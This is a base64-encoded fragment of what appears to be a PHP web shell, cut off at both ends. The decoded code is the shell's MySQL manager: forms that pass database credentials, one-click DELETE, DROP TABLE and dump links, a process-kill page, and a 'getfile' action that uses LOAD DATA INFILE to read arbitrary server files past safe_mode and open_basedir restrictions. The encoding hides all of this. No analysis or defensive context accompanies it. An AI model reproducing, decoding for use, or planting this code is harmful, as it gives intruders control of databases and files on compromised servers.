T0iLigkaSokcGVycGFnZSskcGVycGFnZSkuIlwiPjx1PiI7fQogICAgICAgZWNobyAkaTsKICAgICAgI
GlmICgoJGkqJHBlcnBhZ2UgIT0gJHNxbF90YmxfbHMpIG9yICgkaSokcGVycGFnZSskcGVycGFnZSAhP
SAkc3FsX3RibF9sZSkpIHtlY2hvICI8L3U+PC9hPiI7fQogICAgICAgaWYgKCgkaS8zMCA9PSByb3VuZ
CgkaS8zMCkpIGFuZCAoJGkgPiAwKSkge2VjaG8gIjxicj4iO30KICAgICAgIGVsc2Uge2VjaG8gIiZuY
nNwOyI7fQogICAgICB9CiAgICAgIGlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30KICAgICAgZWNob
yAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiYWN0XCIgd
mFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cI
iIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lP
Vwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpb
nB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpY
WxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZ
XJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0e
XBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJ
HNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlP
VwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuY
W1lPVwic3FsX29yZGVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIlwiP
jxiPkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xzXCIgd
mFsdWU9XCIiLiRzcWxfdGJsX2xzLiJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9X
CJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbGVcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbGUuIlwiPiZuYnNwO
zxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJWaWV3XCI+PC9mb3JtPiI7CiAgICAgIGVjaG8gI
jxicj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEY
XJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjElXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlc
kNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4iOwogICAgICBlY2hvICI8dHI+IjsKICAgICAgZWNob
yAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93X2FsbFwiIHZhbHVlPVwiM
VwiPjwvdGQ+IjsKICAgICAgZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrK
ykKICAgICAgewogICAgICAgJHYgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwogICAgICAga
WYgKCRlWzBdID09ICJhIikgeyRzID0gImQiOyAkbSA9ICJhc2MiO30KICAgICAgIGVsc2UgeyRzID0gI
mEiOyAkbSA9ICJkZXNjIjt9CiAgICAgICBlY2hvICI8dGQ+IjsKICAgICAgIGlmIChlbXB0eSgkZVswX
SkpIHskZVswXSA9ICJhIjt9CiAgICAgICBpZiAoJGVbMV0gIT0gJHYpIHtlY2hvICI8YSBocmVmPVwiI
i4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJ
nNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRlWzBdLiIlMjAiLiR2LiJcIj48Y
j4iLiR2LiI8L2I+PC9hPiI7fQogICAgICAgZWxzZSB7ZWNobyAiPGI+Ii4kdi4iPC9iPjxhIGhyZWY9X
CIiLiRzcWxfc3VybC4ic3FsX3RibD0iLiRzcWxfdGJsLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlL
iImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX29yZGVyPSIuJHMuIiUyMCIuJHYuIlwiPjxpb
Wcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF8iLiRtLiJcIiBoZWlnaHQ9XCI5XCIgd2lkd
Gg9XCIxNFwiIGFsdD1cIiIuJG0uIlwiPjwvYT4iO30KICAgICAgIGVjaG8gIjwvdGQ+IjsKICAgICAgf
QogICAgICBlY2hvICI8dGQ+PGZvbnQgY29sb3I9XCJncmVlblwiPjxiPkFjdGlvbjwvYj48L2ZvbnQ+
PC90ZD4iOwogICAgICBlY2hvICI8L3RyPiI7CiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hf
YXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKQogICAgICB7CiAgICAgICBlY2hvICI8dHI+IjsKICAg
ICAgICR3ID0gIiI7CiAgICAgICAkaSA9IDA7CiAgICAgICBmb3JlYWNoICgkcm93IGFzICRrPT4kdikg
eyRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsgJHcgLj0gIiBgIi4kbmFtZS4iYCA9
ICciLmFkZHNsYXNoZXMoJHYpLiInIEFORCI7ICRpKys7fQogICAgICAgaWYgKGNvdW50KCRyb3cpID4g
MCkgeyR3ID0gc3Vic3RyKCR3LDAsc3RybGVuKCR3KS0zKTt9CiAgICAgICBlY2hvICI8dGQ+PGlucHV0
IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dbXVwiIHZhbHVlPVwiIi4kdy4iXCI+PC90ZD4i
OwogICAgICAgJGkgPSAwOwogICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpCiAgICAgICB7CiAg
ICAgICAgJHYgPSBodG1sc3BlY2lhbGNoYXJzKCR2KTsKICAgICAgICBpZiAoJHYgPT0gIiIpIHskdiA9
ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+TlVMTDwvZm9udD4iO30KICAgICAgICBlY2hvICI8dGQ+Ii4k
di4iPC90ZD4iOwogICAgICAgICRpKys7CiAgICAgICB9CiAgICAgICBlY2hvICI8dGQ+IjsKICAgICAg
IGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfdGJsPSIudXJsZW5j
b2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3Fs
X3RibF9sZS4iJnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHNxbF90YmwuImAg
V0hFUkUiLiR3LiIgTElNSVQgMTsiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1z
cWxfYnV0dG9uX2Ryb3BcIiBhbHQ9XCJEZWxldGVcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBi
b3JkZXI9XCIwXCI+PC9hPiZuYnNwOyI7CiAgICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwu
InNxbF90YmxfYWN0PWluc2VydCZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90Ymxf
bHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfaW5zZXJ0
X3E9Ii51cmxlbmNvZGUoJHcpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWNoYW5n
ZVwiIGFsdD1cIkVkaXRcIiBoZWlnaHQ9XCIxNFwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9h
PiZuYnNwOyI7CiAgICAgICBlY2hvICI8L3RkPiI7CiAgICAgICBlY2hvICI8L3RyPiI7CiAgICAgIH0K
ICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNp
emU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cImxlZnRcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1p
bWcmaW1nPWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj48c2VsZWN0IG5hbWU9XCJzcWxfYWN0XCI+IjsK
ICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsKICAg
ICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZXJvd1wiPkRlbGV0ZTwvb3B0aW9uPiI7CiAgICAg
IGVjaG8gIjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJt
XCI+PC9mb3JtPjwvcD4iOwogICAgIH0KICAgIH0KICAgIGVsc2UKICAgIHsKICAgICAkcmVzdWx0ID0g
bXlzcWxfcXVlcnkoIlNIT1cgVEFCTEUgU1RBVFVTIiwgJHNxbF9zb2NrKTsKICAgICBpZiAoISRyZXN1
bHQpIHtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgICAgZWxzZQogICAgIHsKICAgICAgZWNobyAi
PGJyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRh
cms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29sb3I9IzMzMzMzMyBib3Jk
ZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94
XCIgbmFtZT1cImJveHRibF9hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPjx0ZD48Y2VudGVyPjxiPlRhYmxl
PC9iPjwvY2VudGVyPjwvdGQ+PHRkPjxiPlJvd3M8L2I+PC90ZD48dGQ+PGI+VHlwZTwvYj48L3RkPjx0
ZD48Yj5DcmVhdGVkPC9iPjwvdGQ+PHRkPjxiPk1vZGlmaWVkPC9iPjwvdGQ+PHRkPjxiPlNpemU8L2I+
PC90ZD48dGQ+PGI+QWN0aW9uPC9iPjwvdGQ+PC90cj4iOwogICAgICAkaSA9IDA7CiAgICAgICR0c2l6
ZSA9ICR0cm93cyA9IDA7CiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3Vs
dCwgTVlTUUxfQVNTT0MpKQogICAgICB7CiAgICAgICAkdHNpemUgKz0gJHJvd1siRGF0YV9sZW5ndGgi
XTsKICAgICAgICR0cm93cyArPSAkcm93WyJSb3dzIl07CiAgICAgICAkc2l6ZSA9IHZpZXdfc2l6ZSgk
cm93WyJEYXRhX2xlbmd0aCJdKTsKICAgICAgIGVjaG8gIjx0cj4iOwogICAgICAgZWNobyAiPHRkPjxp
bnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsW11cIiB2YWx1ZT1cIiIuJHJvd1siTmFt
ZSJdLiJcIj48L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJs
LiJzcWxfdGJsPSIudXJsZW5jb2RlKCRyb3dbIk5hbWUiXSkuIlwiPjxiPiIuJHJvd1siTmFtZSJdLiI8
L2I+PC9hPiZuYnNwOzwvdGQ+IjsKICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlJvd3MiXS4iPC90ZD4i
OwogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVHlwZSJdLiI8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+
Ii4kcm93WyJDcmVhdGVfdGltZSJdLiI8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJVcGRh
dGVfdGltZSJdLiI8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Ii4kc2l6ZS4iPC90ZD4iOwogICAgICAg
ZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfcXVl
cnk9Ii51cmxlbmNvZGUoIkRFTEVURSBGUk9NIGAiLiRyb3dbIk5hbWUiXS4iYCIpLiJcIj48aW1nIHNy
Yz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZW1wdHlcIiBhbHQ9XCJFbXB0eVwiIGhl
aWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJl
Zj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiRFJPUCBU
QUJMRSBgIi4kcm93WyJOYW1lIl0uImAiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmlt
Zz1zcWxfYnV0dG9uX2Ryb3BcIiBhbHQ9XCJEcm9wXCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIg
Ym9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90YmxfYWN0PWlu
c2VydCZzcWxfdGJsPSIuJHJvd1siTmFtZSJdLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcm
aW1nPXNxbF9idXR0b25faW5zZXJ0XCIgYWx0PVwiSW5zZXJ0XCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1c
IjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8L3RkPiI7CiAgICAgICBlY2hvICI8L3RyPiI7CiAg
ICAgICAkaSsrOwogICAgICB9CiAgICAgIGVjaG8gIjx0ciBiZ2NvbG9yPVwiMDAwMDAwXCI+IjsKICAg
ICAgZWNobyAiPHRkPjxjZW50ZXI+PGI+uzwvYj48L2NlbnRlcj48L3RkPiI7CiAgICAgIGVjaG8gIjx0
ZD48Y2VudGVyPjxiPiIuJGkuIiB0YWJsZShzKTwvYj48L2NlbnRlcj48L3RkPiI7CiAgICAgIGVjaG8g
Ijx0ZD48Yj4iLiR0cm93cy4iPC9iPjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPiIuJHJvd1sxXS4iPC90
ZD4iOwogICAgICBlY2hvICI8dGQ+Ii4kcm93WzEwXS4iPC90ZD4iOwogICAgICBlY2hvICI8dGQ+Ii4k
cm93WzExXS4iPC90ZD4iOwogICAgICBlY2hvICI8dGQ+PGI+Ii52aWV3X3NpemUoJHRzaXplKS4iPC9i
PjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPjwvdGQ+IjsKICAgICAgZWNobyAiPC90cj4iOwogICAgICBl
Y2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJyaWdodFwiPjxpbWcg
c3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPjxzZWxlY3Qg
bmFtZT1cInNxbF9hY3RcIj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxl
Y3RlZDo8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZHJvcFwiPkRyb3A8
L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZW1wdHlcIj5FbXB0eTwvb3B0
aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxkdW1wXCI+RHVtcDwvb3B0aW9uPiI7
CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxjaGVja1wiPkNoZWNrIHRhYmxlPC9vcHRpb24+
IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibG9wdGltaXplXCI+T3B0aW1pemUgdGFibGU8
L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJscmVwYWlyXCI+UmVwYWlyIHRh
YmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGFuYWx5emVcIj5BbmFs
eXplIHRhYmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9
XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7CiAgICAgIG15c3FsX2ZyZWVf
cmVzdWx0KCRyZXN1bHQpOwogICAgIH0KICAgIH0KICAgfQogICB9CiAgfQogIGVsc2UKICB7CiAgICRh
Y3RzID0gYXJyYXkoIiIsIm5ld2RiIiwic2VydmVyc3RhdHVzIiwic2VydmVydmFycyIsInByb2Nlc3Nl
cyIsImdldGZpbGUiKTsKICAgaWYgKGluX2FycmF5KCRzcWxfYWN0LCRhY3RzKSkgez8+PHRhYmxlIGJv
cmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9
IjEiPjxiPkNyZWF0ZSBuZXcgREI6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4i
PjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9Imhp
ZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld2RiIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1l
PSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7
ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNo
byBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h
bWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2
ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBl
Y2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1l
PSJzcWxfbmV3ZGIiIHNpemU9IjIwIj4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3Jl
YXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5WaWV3IEZpbGU6PC9i
Pjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h
bWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFs
dWU9ImdldGZpbGUiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/
cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRk
ZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNx
bF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9
Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0i
aGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygk
c3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9nZXRmaWxlIiBzaXplPSIz
MCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2dldGZpbGUpOyA/PiI+Jm5i
c3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIz
MCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3Rk
Pjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+
PC90ZD48L3RyPjwvdGFibGU+PD9waHAgfQogICBpZiAoIWVtcHR5KCRzcWxfYWN0KSkKICAgewogICAg
ZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOwogICAgaWYgKCRzcWxfYWN0ID09ICJuZXdkYiIp
CiAgICB7CiAgICAgZWNobyAiPGI+IjsKICAgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdk
YikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJz
KCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7fQog
ICAgIGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25l
d2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30KICAgIH0KICAgIGlm
ICgkc3FsX2FjdCA9PSAic2VydmVyc3RhdHVzIikKICAgIHsKICAgICAkcmVzdWx0ID0gbXlzcWxfcXVl
cnkoIlNIT1cgU1RBVFVTIiwgJHNxbF9zb2NrKTsKICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlci1z
dGF0dXMgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7CiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5n
PTAgY2VsbFBhZGRpbmc9MCBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJv
cmRlcj0xPjx0ZD48Yj5OYW1lPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOwogICAg
IHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8g
Ijx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30KICAgICBl
Y2hvICI8L3RhYmxlPjwvY2VudGVyPiI7CiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAg
ICB9CiAgICBpZiAoJHNxbF9hY3QgPT0gInNlcnZlcnZhcnMiKQogICAgewogICAgICRyZXN1bHQgPSBt
eXNxbF9xdWVyeSgiU0hPVyBWQVJJQUJMRVMiLCAkc3FsX3NvY2spOwogICAgIGVjaG8gIjxjZW50ZXI+
PGI+U2VydmVyIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOwogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3B
hY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzM
zMyBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+Ijs
KICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHt
lY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9CiA
gICAgZWNobyAiPC90YWJsZT4iOwogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgfQo
gICAgaWYgKCRzcWxfYWN0ID09ICJwcm9jZXNzZXMiKQogICAgewogICAgIGlmICghZW1wdHkoJGtpbGw
pKSB7JHF1ZXJ5ID0gIktJTEwgIi4ka2lsbC4iOyI7ICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnk
sICRzcWxfc29jayk7IGVjaG8gIjxiPktpbGxpbmcgcHJvY2VzcyAjIi4ka2lsbC4iLi4uIG9rLiBoZSB
pcyBkZWFkLCBhbWVuLjwvYj4iO30KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgUFJPQ0V
TU0xJU1QiLCAkc3FsX3NvY2spOwogICAgIGVjaG8gIjxjZW50ZXI+PGI+UHJvY2Vzc2VzOjwvYj48YnI
+PGJyPiI7CiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MiBiZ0NvbG9
yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5JRDwvYj48L3R
kPjx0ZD48Yj5VU0VSPC9iPjwvdGQ+PHRkPjxiPkhPU1Q8L2I+PC90ZD48dGQ+PGI+REI8L2I+PC90ZD4
8dGQ+PGI+Q09NTUFORDwvYj48L3RkPjx0ZD48Yj5USU1FPC9iPjwvdGQ+PHRkPjxiPlNUQVRFPC9iPjw
vdGQ+PHRkPjxiPklORk88L2I+PC90ZD48dGQ+PGI+QWN0aW9uPC9iPjwvdGQ+PC90cj4iOwogICAgIHd
oaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkgeyBlY2hvICI
8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjx0ZD4iLiRyb3dbMl0uIjw
vdGQ+PHRkPiIuJHJvd1szXS4iPC90ZD48dGQ+Ii4kcm93WzRdLiI8L3RkPjx0ZD4iLiRyb3dbNV0uIjw
vdGQ+PHRkPiIuJHJvd1s2XS4iPC90ZD48dGQ+Ii4kcm93WzddLiI8L3RkPjx0ZD48YSBocmVmPVwiIi4
kc3FsX3N1cmwuInNxbF9hY3Q9cHJvY2Vzc2VzJmtpbGw9Ii4kcm93WzBdLiJcIj48dT5LaWxsPC91Pjw
vYT48L3RkPjwvdHI+Ijt9CiAgICAgZWNobyAiPC90YWJsZT4iOwogICAgIG15c3FsX2ZyZWVfcmVzdWx
0KCRyZXN1bHQpOwogICAgfQogICAgaWYgKCRzcWxfYWN0ID09ICJnZXRmaWxlIikKICAgIHsKICAgICA
kdG1wZGIgPSAkc3FsX2xvZ2luLiJfdG1wZGIiOwogICAgICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGI
oJHRtcGRiKTsKICAgICBpZiAoISRzZWxlY3QpIHtteXNxbF9jcmVhdGVfZGIoJHRtcGRiKTsgJHNlbGV
jdCA9IG15c3FsX3NlbGVjdF9kYigkdG1wZGIpOyAkY3JlYXRlZCA9ICEhJHNlbGVjdDt9CiAgICAgaWY
gKCRzZWxlY3QpCiAgICAgewogICAgICAkY3JlYXRlZCA9IEZBTFNFOwogICAgICBteXNxbF9xdWVyeSg
iQ1JFQVRFIFRBQkxFIGB0bXBfZmlsZWAgKCBgVmlld2luZyB0aGUgZmlsZSBpbiBzYWZlX21vZGUrb3B
lbl9iYXNlZGlyYCBMT05HQkxPQiBOT1QgTlVMTCApOyIpOwogICAgICBteXNxbF9xdWVyeSgiTE9BRCB
EQVRBIElORklMRSBcIiIuYWRkc2xhc2hlcygkc3FsX2dldGZpbGUpLiJcIiBJTlRPIFRBQkxFIHRtcF9
maWxlIik7CiAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0bXBfZmlsZTs
